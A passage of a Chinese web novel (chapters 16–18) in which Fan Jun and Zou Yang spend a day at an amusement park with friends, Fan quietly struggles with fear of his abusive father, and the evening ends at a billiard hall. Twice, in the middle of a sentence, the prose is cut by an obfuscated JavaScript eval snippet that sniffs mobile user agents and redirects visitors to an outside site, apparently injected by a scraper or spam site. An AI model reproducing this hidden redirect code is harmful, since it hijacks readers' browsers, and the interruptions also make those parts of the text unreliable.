车子冲下去之后就是一个后空翻,在地面上看着觉得时间很短,但身处其中的时候,就觉得翻得很慢,中间大头冲下的时候甚至感觉要停了。 说实话樊均挺佩服后头一直在惨叫的那些人,起码人家还能出声儿。 他嗓子眼儿是一点儿动静都出不来,手抓着肩上的护拦完全没敢松劲。 “怎么样!”邹飏倒挂着的时候居然还转头冲他着吼着问了一句。 不怎么样。 你教练快死了这位学员。 车再一次从高处往下冲的时候,邹飏又吼了一句:“怕吗?” 樊均干脆闭上了眼睛。 “喊一嗓子就好了——”邹飏一边吼一边伸手在他手背上拍了拍,“啊——” 后面一车人本来稍微平息了一些的叫喊声顿时被他带着再次嘹亮起来。 樊均心一横,跟着这一片乱七八糟的声音也吼了一声:“啊——” “哟吼——”邹飏喊。 “啊——”樊均又跟着喊了一声。 下来之后几个人躺在旁边草地上。 樊均感觉自己别的还好,嗓子好像哑了。 “邹飏你大爷的,”刘文瑞瞪着眼喘着,“就听你在那儿领喊了,你是不是有病!” “不爽吗?”邹飏笑着问。 “爽。”李知越说。 “走,”张传龙突然坐了起来,“再去坐一次!” “我不去了,”樊均迅速把帽檐拉到下巴,“我嗓子扛不住。” 几个人闹了一下之后居然还真又去排队了。 樊均听了一会儿,没听到人说话,把帽子掀起来看了看,发现邹飏没去,就坐他边儿上低头看着手机。 “你没去?”他坐了起来。 “你耳朵是真不行,”邹飏说,“我刚就说不去了啊。” “声音太杂了我就有点儿听不清。”樊均笑了笑。 “去玩这个吧,”邹飏把手机递到他面前,“旋转秋千。” 樊均凑过去看了看:“这不是小朋友玩的吗?” “这个高,比小朋友那种刺激,”邹飏说,“再说了,你小朋友的时候也没玩过啊。” 樊均没说话,过了一会儿才笑了笑:“嗯。” 16.第 16 章 16 旋转秋千看上去就像一副拆掉了伞布的巨大伞骨,不断向空中上下开合。 肉眼看上去的刺激程度比过山车要低得多。 秋千嘛,再旋转它也就是个秋千。 樊均坐在长椅上,对着地面干呕了两下,实在没想到,这么个玩意儿差点儿给他荡吐了。 邹飏站在他跟前儿,递过来一瓶已经拧开了瓶盖的水。 他接过来仰头灌了几口,才感觉缓过来了。 “你怎么会晕这个?”邹飏问。 “不知道,往下落的时候想吐。”樊均说。 “那你估计玩不了海盗船,”邹飏说,“那个我玩着有时候都有点儿想吐。” 樊均忍不住抬头看了他一眼:“那还总玩?” “刺激啊,”邹飏说,“再说也没吐。” 樊均冲他竖了竖拇指。 其实说邹飏变态,刘文瑞那几个也没多不变态,海盗船他们虽然不坐船头,但玩还是要玩的。 樊均拒绝了邀请,坐在旁边的冰淇淋屋门口等他们。 邹飏果然还是坐船头,一个船那么些人,基本还是在中间坐着的多,两头人少,船头就只有邹飏一个人。 樊均靠在椅子上,把帽檐微微往上抬起一些,看着在帽檐下晃荡幅度越来越大的海盗船。 四周的声音依旧嘈杂,有人笑着说话,有人喊着说话,有人骂孩子,有孩子在哭,有孩子在尖叫奔跑……跟南舟坪完全不一样的嘈杂,他还没有适应。 混乱中带着点儿晕的感觉。 那边的船还在荡着,帽檐遮掉了大部分视野,只剩了来回机械运动着的海盗船,带着催眠的效果。 樊均跟着船来回移动的视线开始有些模糊。 船也渐渐变成了一片黑影。 被两根绳索牵引着的来回晃动着的黑影。 气氛变得有些不一样。 最先出现的是心底的不安。 樊均呼吸有些不畅。 接着一些说不清的恐惧突然没有预兆地从记忆里的某个点渗了出来。 动不了。 甚至无法移开一直盯着黑影的视线。 彻骨的寒意从指尖缓缓漫延到掌心的时候,他才猛地抬起了放在石凳上的手,胃里一阵剧烈的翻腾。 “我操,”刘文瑞捂着肚子,拧着眉,“我要去厕所。” “吓拉了?”李知越问。 “要吐了,反胃。”刘文瑞说。 “邹飏杵船头浪了半天都没说要吐。”张传龙对他表示了鄙视。 “谁能跟他比,要不是人家不让站船头那个尖儿上,你看他会不会杵那上头去,”刘文瑞看了邹飏一眼,“你看什么呢?” 一直东张西望也没听他们说话邹飏问了一句:“樊均呢?” 樊均没在之前的那个冰淇淋屋了,四周也没看到他人。 “厕所去了吧,”李知越说,“在这儿等他一会儿。” “我也要去厕所吐一下。”刘文瑞转身往厕所方向跑。 “吃冰淇淋吗?”张传龙问。 “吃,”李知越一搭邹飏肩膀,“我请客。” 邹飏跟着他俩往冰淇淋屋走过去,但心里莫名其妙有点儿不放心。 虽然这种情况下基本就是去了厕所,而且一个比他还大四岁的人,在游乐园里只要不是拍恐怖片,就很难出什么事儿。 但樊均之前的状态实在不怎么对劲。 人是他叫出来的,碰上那个姐姐也是因为他要去买点心…… 真要是有什么问题…… “什么口味?”李知越搭在他肩上的手往他脸上弹了一下。 “你死了,”邹飏拍开他的手,“巧克力草莓双拼。” “正好,樊哥要什么口味?”李知越在他耳边喊了一声。 邹飏赶紧回过头,看到了从厕所方向走过来的樊均。 “草莓的。”樊均说。 邹飏松了口气。 “还要拼个别的吗?”李知越问。 樊均走到邹飏身边站下,看了看面前一排的冰淇淋碗:“那……抹茶吧。” “去厕所了?”邹飏问。 “嗯。”樊均点点头。 邹飏没再说话。 樊均过来的时候脸色就不太对,有点儿苍白。 邹飏把冰淇淋递给他的时候,他已经好多了,但嘴唇上的血色还没有完全回来。 趁着这帮选择困难症死期挑冰淇淋的时候,他用胳膊把樊均往旁边挤了挤。 “没事儿吧?”邹飏问,“脸色有点儿不好。” “刚……吐了。”樊均说。 邹飏愣了愣:“吐了?看海盗船都能看吐了?” “嗯。”樊均点头,舀了一勺冰淇淋。 “……你有点儿离奇啊。”邹飏说。 樊均笑了笑。 “好点儿没?”邹飏问,“还能玩吗?” “能,”樊均看了他一眼,“一会儿玩什么?” 不知道是不是考虑到他看海盗船都能看吐了,邹飏接下去在距离最近的大摆锤和远一些的小火车之间,选择了小火车。 樊均看了一下小火车的介绍,很温和,图片上坐小火车的都是小朋友,这一趟坐下来,邹飏估计能睡着。 “大摆锤吧。”他说。 “大摆锤?”邹飏愣了,“大摆锤你要吐了,那可是雨露均沾。” “……已经没事儿了。”他说。 “那行,”邹飏看了他一眼,又转头看向刘文瑞,“你还想吐吗?大摆锤?” “吐空了已经,”刘文瑞一拍肚子,“我现在能把大摆锤上的人都吃了。” “那走,”邹飏把手机放回兜里,“吃人去。” 大家脸冲外一圈儿坐那儿,更像是被捆成一捆再转着圈儿让食人族挑选的菜。 提示铃刚一响,摇臂都没开始动,张传龙就吼了一声:“啊——” “干嘛!”邹飏说,“椅子掐你肉了啊!” 旁边的人都笑了起来。 “开开嗓,”李知越在张传龙旁边,“一会儿给大家美声吼一段let me go。” 摇臂在大家的笑声中开始摆动,有了之前过山车的经验,樊均没有等车开时那么紧张了。 随着摇臂越荡越高,捆着一圈儿人的转盘也开始转动,眼前明亮的光和四周彩色的各种建筑交错,间或晃过一团团绿色,樊均感受到了莫名的愉悦,之前的慌乱和恐惧也被一点点甩出了身体。 有那么几秒钟,他似乎有点儿体会到了邹飏喜欢这种刺激的变态感觉。 于是闭眼跟着大家一块儿喊了起来:“啊——” 吕泽的消息是中午发过来的。 他们一帮人刚在游乐园里找了个餐厅,正坐在户外桌子边儿缓劲儿。 -你出去了? 应该是吕叔一上午没见着他人,让吕泽来问的。 樊均看着这条消息,有点儿不知道该怎么回复,如果是吕叔问的,他直接回一句跟邹飏去游乐园了就行,吕叔顶多会吃个惊。 但吕泽的话…… 犹豫了好一会儿,他才在手机上戳了两下。 -嗯 回完之后他又看着手机屏幕等了一会儿,不过吕泽没有再回复。 正想把手机放回兜里的时候,又有一条消息进来。 邹yang的。 -喂 樊均愣了愣,抬起头的时候,坐他对面的邹飏正看着他。 樊均不知道他是不是有什么不能直接说的话,于是又低头回了邹yang一条。 -怎么 对面邹飏笑了起来:“你神经病啊。” “嗯?”樊均抬起头。 “我跟你说话说了三遍,”邹飏说,“你是不是没听见。” “……是,”樊均看了看四周,“太嘈杂的环境我注意力分散了就容易听不见。” “那要进去吃吗?”李知越问。 “不用,”樊均赶紧说,“现在集中了。” “我刚问你,喝什么。”邹飏说。 “都……”樊均顿了顿,“果汁吧。” “点了山药汁和橙汁了,”邹飏说,“你还想喝别的吗?” “不用,这些就行。”樊均笑笑。 “樊哥看看菜单,”刘文瑞低头在手机上划拉着,“有什么想吃的直接点,邹飏请客。” “你想得美,”邹飏说,“AA。” “我请吧。”樊均边说边扫了码,看着菜单。 “不不不不,”刘文瑞手一连串地摆着手,“今天是我们拉你出来玩的,你是特邀嘉宾,出来给我们开车,为我们报仇……” “是你们三个死了,”邹飏说,“别算上我。” “你闭嘴,”刘文瑞斜了他一眼,“再请我们吃饭,就太不像话了。” “没事儿,”樊均笑了笑,“就我一个上班的。” “AA,”邹飏说,“你下回请吧,你四号有时间上课吗?” “有。”樊均说。 “那四号,上完课叫他们一块儿吃饭,正好去尝尝上回张传龙说的那个素菜馆。”邹飏安排着。 “四号?你不跟我们去拍艺术照了?”刘文瑞问。 “什……么照?”樊均偏了偏头,感觉自己是不是听岔了。 “看到没,”邹飏指着樊均,“是个正常人听到你们这安排都得是这个反应,我不去,神经病。” “不是那种普通的艺术照,”张传龙说,“我们不是也打算去武馆上课嘛,就拍那种,嚯!哈!的那种。” 樊均没忍住,转开脸笑了起来。 “你也知道你是去上课啊,你不是去上班 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15565035|169504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,”邹飏说,“你是教练吗你还拍上定妆照了。” 樊均靠到椅子上,边笑边拿出手机:“是想拍这种吗?” “你拍过?”邹飏立马瞪着他。 “吕泽的。”樊均点开相册翻了翻,把手机放到了桌上。 “我操,这是吕泽?”李知越有些震惊。 “他这是宣传照?”邹飏也凑过去看了看,是一个侧踹进攻的姿势。 不得不说,虽然他挺讨厌吕泽的,但这照片拍得是真不错,看着都没那么讨厌了。 “嗯,新馆那边要上墙的,灯箱还没到。”樊均说。 “那你肯定有,”邹飏马上抓住了重点,“看看。” “对!”刘文瑞手指点在了手机屏幕上,“往后翻是你吗?” “……嗯。”樊均点了点头。 刘文瑞往后划拉了一下,吕泽,再划拉一下,吕泽,再划拉,吕泽……各种姿势的吕泽连一块儿都快划拉出动图效果来了。 “你是不是有病放那么多他照片在手机里!”邹飏拍开刘文瑞的手,直接戳了一下屏幕退了出去,在缩略图里扫了一眼,吕泽的衣服都是金色和红色的,往下几排,变成了黑色的,是樊均了。 他戳了一下,照片打开的瞬间,几个人同时“我操”了一片。 樊均个子比吕泽要高,动作看上去就要舒展很多,多了几分潇洒…… “我靠,樊均,”刘文瑞指着照片,“这在哪儿拍的?我们就是想拍这样的。” “隔壁,”樊均说,“舞蹈室的主理人拍的。” “主什么玩意儿?”刘文瑞问。 “老板。”樊均笑笑。 “舞蹈室还有这个副业?”张传龙趴到桌上看着照片,“拍得很专业啊,我们想去的那家的样板照都没樊均这个带劲。” “你懂屁,”刘文瑞啧了一声,“这是樊均带劲,你别拿他往咱们身上套,咱们就拍个意会,你懂吧,意会。” “咱俩一个专业。”张传龙看着他。 “怎么了你有什么意见。”刘文瑞说。 “你意会。”张传龙说。 “闭嘴,”邹飏拍了拍桌子,又看向樊均,“是那个蓉蓉对吧?她收费吗?” “不一定,”樊均说,“她……看心情,但收费也不会比外面的工作室贵。” “省钱是第一要务,你们要拍就去那儿拍得了,”邹飏说,“别去外头拍,虽然我不认识你们,但也住一个宿舍,丢不起那个人。” “那樊哥帮我们约个时间,”刘文瑞说,“最好是你帮这个陌生人上课的那天,方便一块儿去吃饭。” “好,”樊均点点头,“你们安排的是四号对吧?” “不固定,”李知越说,“我们的计划都是东一榔头西一棒子,改成东一棒子西一榔头也没问题。” “嗯。”樊均笑笑。 游乐园里的餐厅,味道据说不错,但这个菜量实在是…… 刚上了两个菜,邹飏就立马拿出手机又加了两个主食,一早出来玩到现在,就吃了几口点心和一口黄桃,这菜量,连盘子一块儿啃了都不够他们五个吃的。 樊均一直到吃东西的时候才把帽子摘了,阳光下鼻梁上那道疤挺明显的。 一眼过去最先看到的就是疤。 一开始邹飏觉得樊均总戴着帽子可能是为了遮住他的疤,又发现他似乎并不在意这个疤……所以也有可能就是纯为了装逼。 但这一瞬间突然有点儿明白他为什么总戴着帽子了。 虽然猜测不一定对。 樊均一边吃一边抬起头,视线正好跟他对上。 正盯着樊均鼻梁看的邹飏顿时有点儿尴尬,太没礼貌了。 “你……”邹飏夹了一筷子菜,飞快地嚼着,“这个疤……” 问吧,场合不对,樊均的耳朵是被亲爹打坏的,这个疤未必就不是。 不问吧,自己明明就是在看这个疤…… “你鼻梁这个疤,樊哥,”刘文瑞边吃边问了一句,“戴墨镜不会往下滑吧?” 什么玩意儿? 邹飏忍不住转头看了刘文瑞一眼。 “是不是正好能卡住。”刘文瑞还往自己鼻子上比划了一下。 “……是。”樊均应了一声。 “你挂不住墨镜跟有没有疤没关系,”李知越伸手在刘文瑞鼻梁上摸了一下,“你这属于是底座缺失。” “你大爷,这顿我不A了,”刘文瑞骂着,“算李知越的!” 谢谢陌生人。 樊均笑着的时候,看起来还挺自在的。 不管是不是很诡异,总算是把这个茬混过去了。 邹飏没再往樊均脸上瞅,可脑子里也没停下琢磨。 毕竟好奇心创造科学家和诗人by法朗士,科学家是没戏了,但现在这个好奇劲儿,他估计能成个诗人。 17.第 17 章 17 这是樊均第一次在南舟坪以外的地方待这么长时间。 从早上十点多,一直到下午四点。 中午吃完饭之后,他们又去坐了小火车和摩天轮,甚至还玩了旋转木马……要不是人多排队实在太费劲,这帮人估计能玩到晚上。 离开游乐园回到车上时,樊均感觉世界都安静了,他靠着驾驶座的椅背,闭了闭眼睛,轻轻吐出一口气。 对于他来说,很尽兴,但也挺累的,比吕泽盯着他训练一天都累。 “要换我开吗?”邹飏在副驾问了一句。 “你本儿拿到以后摸过车吗?”刘文瑞在后座问。 邹飏往仪表盘上摸了摸,回头看着刘文瑞:“摸过。” “让大人开吧,飏飏。”李知越靠在张传龙身上,闭着眼睛。 樊均笑了笑:“我开吧。” “行吧,你要累了就换刘文瑞。”邹飏系好安全带,往椅背上一靠,打了个呵欠,“回去的路用开导航吗?” “不用。”樊均发动了车子。 车刚开出去没到十分钟,后座就传来了呼噜声。 樊均往后视镜里看了一眼,三个人已经摞一块儿睡着了。 再看了一眼右边,邹飏也睡着了,抱着胳膊,头微微后仰着,眼镜挂在鼻尖上,这睡姿跟后面三位相比,要规整得多,带着第一次见面时感受到的那种傲慢。 从游乐园回南舟坪的路不近,不过樊均一直有记路的习惯,走过一遍基本就能记得。 随着南舟坪越来越近,整个人也慢慢松弛下来。 也就是到这会儿他才发现,在身体里某个地方有根弦始终是绷着的,离开南舟坪起就一直绷着……也许不止一根,好几根。 所以在游玩结束,愉快的情绪慢慢散去以后,他会感觉到累。 “邹飏。”耳边有人在叫他,声音很轻。 邹飏听着这声音有点儿熟悉,一时又想不起来。 接着耳边又响起一声很轻的响指。 ……樊均。 邹飏睁开了眼睛,先转头看了看驾驶室,樊均正看着他:“到了,你们是一块儿吃个饭还是……” “嗯?”邹飏又转头看向前方,发现车已经停在了百顺广场的停车场。 回头看了一眼后座,三个人以叠叠乐的方式睡得很香。 “我跟你进去吧,”邹飏说,“都到这儿了,进去看看我妈。” “嗯。”樊均点点头,打开车门下了车。 邹飏也下了车,关车门之前冲着后座吼了一嗓子:“起了!” 然后一甩手关上了车门。 隔着车窗能看到后排三个人梦中惊坐起,蹦得车都跟着晃了两下。 “你是不是有病!”刘文瑞下车骂了一句。 “你们开回去吧。”邹飏说。 “你不回去?”刘文瑞问。 “我妈在这边儿,”邹飏说,“我到这儿了都不进去,她该觉得我不想见她了。” “行吧,”刘文瑞点头,“明天计划是爬山,早上我给你打电话。” “我不去我死了。”邹飏说。 “樊哥,”张传龙从车窗里探出脑袋,“记着帮我们问问主席,什么时候能拍照……” “哪位主席?”樊均问。 “主理人!”李知越说。 “主理人。”张传龙说。 “嗯。”樊均点点头。 “赶紧回去,”邹飏打了个呵欠,“李知越你坐前头,帮你文瑞哥盯着点儿路。” 五一期间,商场的人似乎比平时多点儿,四周街道上摆的小摊儿也多了不少,看上去繁荣而混乱。 邹飏跟樊均一块儿先回新馆。 其实除去自己人都到这儿了不去见见老妈怕老妈不高兴之外,他还有种把樊均“带”出去了,就得再“带”回来的责任感。 毕竟今天樊均是个什么也没吃过也没玩过的“小朋友”。 从商场旁边的小路往里走的时候,前面转进来一辆电三轮,车上的人一看到樊均,扬手就扔了个东西过来。 还喊了一声:“均儿!” 邹飏吓了一跳,也不知道砸过来的是个什么玩意儿,冲着樊均脑袋去的,反应过来的时候已经来不及拦了。 但樊均一抬手,稳稳接住了那个东西。 是一个桔子。 “出去?”樊均抛了抛桔子问。 “送个货,”电三轮开了过来,车上的人看着跟樊均差不多年纪,嘴里叼着根儿烟,半眯着眼,“晚上打几局啊,新开那家。” “嗯。”樊均应了一声。 电三轮开过去之后,邹飏回头看了一眼:“你朋友?” “一条街的,他家卖水果。”樊均说。 “叫你打牌吗?”邹飏问。 “台球,”樊均笑笑,“你要打吗?” 邹飏跟宿舍那几个没少打,但说实话他不太愿意跟刚那个电三轮一块儿打,犹豫了两秒之后他摇了摇头:“……不会。” 樊均没再说话,沉默了一会儿把手里的桔子递给他:“吃吗?” “嗯。”邹飏接过桔子,也没一下下剥皮,直接捏着中间一掰,又把一半递给了樊均。 吃着桔子刚进了新馆,就看到吕叔和老妈都在,吕叔正跟工人在训练区那边加装训练台,老妈在前台坐着。 看到他俩进来,老妈有些吃惊地站了起来:“你俩一块儿出去的?” “嗯,”邹飏应了一声,对老妈的吃惊有些吃惊,“我和宿舍那几个去游乐园,路过这边儿就叫上樊均了。” “哦,哦……”老妈看着樊均,“好玩吗?” “好玩。”樊均点点头,又看向训练区,“不是说明天才来人装吗?” “中午说有空就过来了。”老妈说。 “我去看看。”樊均脱掉外套,往那边走了过去。 邹飏从冰柜里拿了瓶水,扫完码灌了两口。 “你……”老妈走到他身边,声音很轻,“是怎么想着叫他去游乐园的啊?” “刘文瑞让叫的,人多好玩,”邹飏顿了顿,“怎么了?他今天有事儿吗?” “没事儿,他今天休息,”老妈把他往前台边儿拉了拉,“他……平时一般不出去。” 邹飏看着老妈,没太听懂。 “他就在这儿,不太出南舟坪。”老妈小声说。 “……是吗?”邹飏愣住了。 “你别问他啊,”老妈说,“我也不是特别清楚,有空再跟你说。” “嗯。”邹飏应着。 想起了之前老妈说过的那句话。 吃过苦的孩子。 到底吃过什么苦? 有多苦? “你一会儿在这儿吃饭吧,”老妈说,“今天没有小孩儿,吕泽也不在。” 邹飏啧了一声:“我无所谓他在不在。” “你无所谓,”老妈也啧了一声,“你那个手,是跟他打架弄的吧。” “……樊均拽的。”邹飏坚持诬陷自己的教练。 “均儿干不出那么没数的事儿,”老妈说,“吕泽才有可能跟你动手。” 挺了解他俩啊。 邹飏沉默了一会儿:“就是樊均。” “行行行,就是就是就是他。”老妈摆摆手,“我去买菜,你在这儿待会儿还是?” “我……不想走路了。”邹飏犹豫了一下还是拒绝了。 他本来是想陪老妈去买菜的,但又担心会让樊均觉得自己一回来就赶紧拉着老妈打听他的事儿。 “你在学校还总跑步呢,”老妈拿了个环保袋往外走,“这体力也不行啊。” “今天太刺激了。”他笑了笑,坐到前台后头,趴到了桌上。 “那块儿再往右点儿?”吕叔看了看训练台的位置。 训练台还没完全装好,移动起来不难,樊均应了一声,对着台边一脚蹬了过去。 训练台往右边移动了两寸。 同时跟地板摩擦出了尖锐的一声响。 “……完了,”樊均赶紧蹲过去看了看,地板上被划出了一道不算深但挺明显的划痕,他伸手摸了摸,“吕泽要弄死我。” 吕叔笑了起来:“就说我弄的。” 樊均没说话,搬着台子又慢慢地给拉了回来,把划痕挡上了:“可以了,歪点儿歪点儿吧。” “到时他一看歪的,”吕叔坐在旁边笑着看他,“一挪正就看到了。” “那就是他弄出来的了。”樊均说。 “嘿。”吕叔说。 樊均笑了笑,拿了扳子开始固定训练台。 “均儿啊,”吕叔在他右边的台子上坐下,“今天跟邹飏去哪儿了?” “游乐园,”樊均说,手里的动作没停,“还有他那几个同学。” “哦,”吕叔停了停,“那几个孩子还挺有意思的,毕竟大学生,学校也比吕泽他们那个学校好呢。” “嗯。”樊均点点头。 “好玩吗?”吕叔问。 “挺好玩的,”樊均看着吕叔,“过山车什么的挺刺激。” “是么,我没玩过,”吕叔声音里有些感慨,“当年咱们新闻里还播过那个过山车呢。” “有空我带你……”樊均说到一半突然一阵心慌,猛地停下了。 手上的活儿也停了。 “今天……”吕叔往他身边又凑了凑,手在他肩上轻轻拍了拍,“碰上什么事儿了吗?” 樊均沉默了很长时间,一直被忽略掉的不安和慌张再起翻了起来。 没有之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15568954|169504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 强烈,但依然清晰。 “我……”樊均坐到了地板上,轻轻呼一口气,“买点心的时候碰到小彤姐姐了。” “小彤?”吕叔思考了一会儿才想起来,“以前住17号的那个小姑娘吗?” “嗯。”樊均点点头。 “她认出你了吗?”吕叔问。 “应该是不确定,或者……我脸上这些疤,想认不出都难吧,”樊均低声说,语速很快,“不过我走开了,她跟邹飏打听我是不是姓樊了,邹飏说我姓邹……” “那就没事儿,没事儿,”吕叔一直在他肩上轻轻拍着,“那肯定是没认出来,其实她认出来也没事儿,她家早搬了,没在那儿住了,她也不知道你住在哪儿。” “嗯。”樊均点点头。 “那片儿谁家也不会跟樊刚有什么联系,”吕叔说,“再说了,谁见了他不得躲得远远的,没事儿。” “嗯。”樊均应着,“其实我知道。” “害怕也正常,谁不怕,我都怕,”吕叔说,“但是咱们现在在南舟坪,离得远着呢……你上月不是还去了趟爷爷家么,也没他消息是吧。” “嗯。”樊均拿起扳子继续干活。 “那就没事儿,能理他的也就他爹了,”吕叔说,“你爷爷这么多年都没他消息,说不定死了呢。” 樊均抬头看了看吕叔,笑了笑。 “要帮忙吗?”邹飏的声音从身后传过来。 “完事儿了。”樊均回过头。 “以后教练就在这上头打学员了是吧。”邹飏站到训练台上。 “别造谣。”樊均笑了。 “上几节课了?”吕叔问。 “刚一节,”邹飏说,“准备这两天再约一节。” “均儿教得细,”吕叔说,“猴儿那几个,来的时候纯废物,这几年下来能打比赛了。” “嗯。”邹飏点了点头。 吕叔走开之后,樊均站了起来:“我去隔壁。” “找蓉主席吗?”邹飏问。 “嗯。”樊均点头。 “我跟你一块儿去。”邹飏说。 “哪几个啊?”蓉蓉坐在椅子上晃着腿,搂着小白的脑袋来回揉着。 “前阵儿来过的。”樊均说。 “哦!”蓉蓉一拍腿,指着邹飏,“是不是你跟吕泽PK那天那几个。” “……是。”邹飏坐在离小白最远的角落里,早知道狗在这儿他就不过来了。 “都挺文气的,怎么还要拍吕泽那样的照片呢?”蓉蓉皱着眉。 “是樊均那样的。”邹飏纠正她。 “那不是更难了,”蓉蓉又一拍腿,笑了起来,“樊均多帅啊,吕泽还没有脸加成呢。” “哎。”樊均往门外看了一眼。 “他来了?”蓉蓉赶紧往也外看了看。 “没,”樊均说,“不用拍得多像专业的,就要那个感觉。” “行吧,”蓉蓉又看向邹飏,“不过邹飏应该可以拍得好,你俩还可以拍个双人的……哎对,要不给我们舞蹈室拍几张当宣传。” “那你得给我钱,”樊均说,“虚假宣传要加钱。” “收费怎么收?”邹飏问。 “怎么还配合上了?”蓉蓉敲了敲桌子。 “……我是问我那几个同学的。”邹飏说。 “外道了啊,”蓉蓉摆摆手,“这两天我也没什么事儿,闲出屁了都,不收费,当交几个朋友了。” 邹飏没说话,看了看樊均。 “谢了。”樊均说。 今天晚饭就四个人吃,老妈简单做了个炖锅。 按说人越少对于邹飏来说就越尴尬,但也许是因为没有吕泽在,他反倒自在了不少,虽然听着吕叔和老妈边吃边聊天时,他还是会有奇怪的感觉。 不像跟老妈一家的,跟吕叔更不是一家人…… 他扒拉了几口菜,往后靠在了椅背上,不知道是不是热闹了一天,这会儿突然就觉得很孤单。 “你一会儿回去吗?”吕叔问樊均。 “跟老四和大头鱼他们打会儿台球。”樊均说。 “哦,”吕叔想了想,又看着邹飏,“小飏要不要……” “他不会。”樊均打断了吕叔的话。 邹飏没出声,略微有些尴尬。 “哦这样啊,”吕叔笑了笑,又解释了一下,“老四和大头鱼跟均儿也算一块儿长大的了,都我们这儿街坊。” 吕叔这一解释,就真的尴尬了。 “老四就今天碰到那个,”樊均说,“大头鱼是菜鸟的老板。” “……嗯。”邹飏应了一声。 “我也就随便打会儿就回了。”樊均跟吕叔说。 “要不……”邹飏咬了咬嘴唇,转头看着他,“你教教我?” 18.第 18 章 18 樊均带着邹飏走出旧馆的时候,在厨房门外蹲着的小白叼着牵引绳跟了上来,安静地走在他们身后。 这会儿天已经基本黑了,邹飏估计都没发现后面跟了个黑狗。 樊均琢磨着要怎么在不吓着邹飏的情况下,让他知道后头有个狗。 犹豫了一小会儿,他回头向小白打了个手势:“定。” 小白立马原地站下了,没再继续往前走。 “嗯?”邹飏听到声音,转过头。 在邹飏回头看之前,樊均拉着他胳膊往前跨了几大步才停下。 “怎……”邹飏被他往前拽了一段才有机会回头瞅了一眼,接着就低声说了一句,“我操。” 不过因为已经有了一段距离,他并没有太被吓着。 “晚上我出门都会带着它,”樊均解释,“所以一出来它就跟着了,一会儿让它先……” “不用,”邹飏说,“让它……跟着吧。” 樊均从小养到大的狗,总不能自己一来,狗就一边儿待着去,樊均还帮他养了猫呢。 “跟着?”樊均看着他。 “嗯,”邹飏比划了一下距离,“只要不是贴着我走,问题不大。” 樊均想了想,在左腿侧拍了拍。 小白很听话地跑了过来,贴在了樊均左腿边儿上,仰起头看着他。 樊均拍了拍狗头:“这样行吗?” “……行。”邹飏一咬牙点了点头。 这一点儿犹豫被樊均看出来了,他冲小白打了个响指,然后伸平胳膊。 小白往外走开了一些,保持了一臂的距离。 “你这是……”邹飏都有点儿顾不上害怕了,“怎么训的?” “也没专门训,”樊均说,“平时没事儿总跟它玩,时间长了就懂了。” “哦。”邹飏点了点头。 晚上的南舟坪有一种隐蔽秘的繁华,街面上很冷清,铺面都关着,只有偶尔几间亮着灯,但拐个弯的居民区就很热闹。 不少一楼被改成了店面,窗户开个门,进去是面馆饺子馆小超市服装店美甲店…… 台球厅比去商场那边稍远一些,穿过一个居民区和三条街再走到头。 这边儿比北小街那种充满着古老烟火气息的街区要时髦一些,连续经过了好几家酒吧。 虽然街景时髦些,却依旧看不到什么人,路灯也依旧昏暗,透着不太安全的气息。 所以带个狗还挺好的。 一路上樊均都没太说话,沉默地走着,跟白天在游乐园时不太一样,回到了惯常的状态里,邹飏甚至有种他比之前更沉默了的感觉。 玩累了吗? 还是因为那个邻居姐姐? “你总去打台球吗?”邹飏问。 “也不是,”樊均说,“别人叫了就去。” “厉害吗。”邹飏又问。 “还行,”樊均笑笑,指了指前面,“到了。” 邹飏看了一眼,交个朋友台球厅。 在这儿交朋友感觉有点儿难,进去就能闻到一阵泡面和烟混合着的味道,以及一眼扫去,跟这种气息莫名协调的几个人。 老四和大头鱼已经到了,在墙边的一个台子那儿正打着。 老四冲樊均招了招手,又吹了声口哨:“小白,过来!” 小白不无所动,就跟没听见似的。 樊均说了句“去吧”,它才小跑着过去了。 “这谁?”老四问,“下午那会儿跟你一块儿的是不是就他?” “嗯。”樊均应了一声,并没有回答老四的问题,似乎没打算把邹飏介绍给他这俩街坊。 “珊姐儿子。”大头鱼说了一句。 “哦……”老四冲邹飏点了点头,“这么一说能看出来。” “我们在这桌玩。”樊均敲了敲旁边的台球桌。 “嗯。”邹飏看了看,的确是个很新的台球厅,桌面都还没什么磨损。 他俩去前台拿球杆的时候,身后有人喊了一声:“均儿!” 樊均没回头,只是拿了根球杆递给邹飏:“你用这个吧。” 邹飏本来想回头,但樊均没动,他也就当没听到,接过了球杆。 转身往回走的时候,那边的人又喊了一嗓子,这回中气十足,在台球厅里荡气回肠的,还配上了动作,手举过头顶晃了晃。 樊均转头往那边看了一眼。 “打两局?”那人喊。 樊均往回走的脚步没停,只是偏了偏头,指了指耳朵,表示听不见他说什么。 “打两局!”那人吼。 樊均直接当他没说话,笑了笑就往前走了。 “操!装什么装!”那人骂了一句。 “人不想跟你打,水平太次。”有人笑着拱火。 “等我一下,”樊均往那边看了一眼,把自己的球杆给了邹飏,“两分钟。” “嗯。”邹飏拿过他的球杆。 “他水平高不高的不也就……”那人正很不爽地说着,看到樊均过来,愣了愣,“哟,打吗高手?” 桌上是打了一半的一局球,樊均问了一句:“你花球色球?” “花的。”那人说。 “这杆儿谁的?”樊均问。 “他。”那人说。 樊均从他对手手里拿了球杆,俯身很利落的一杆,一个色球落袋,接着走到另一边,几乎没太细看球,就直接又是一杆。 台面上本来也没几个球了,樊均几乎是没有停顿的几杆下去,就还剩一个黑8。 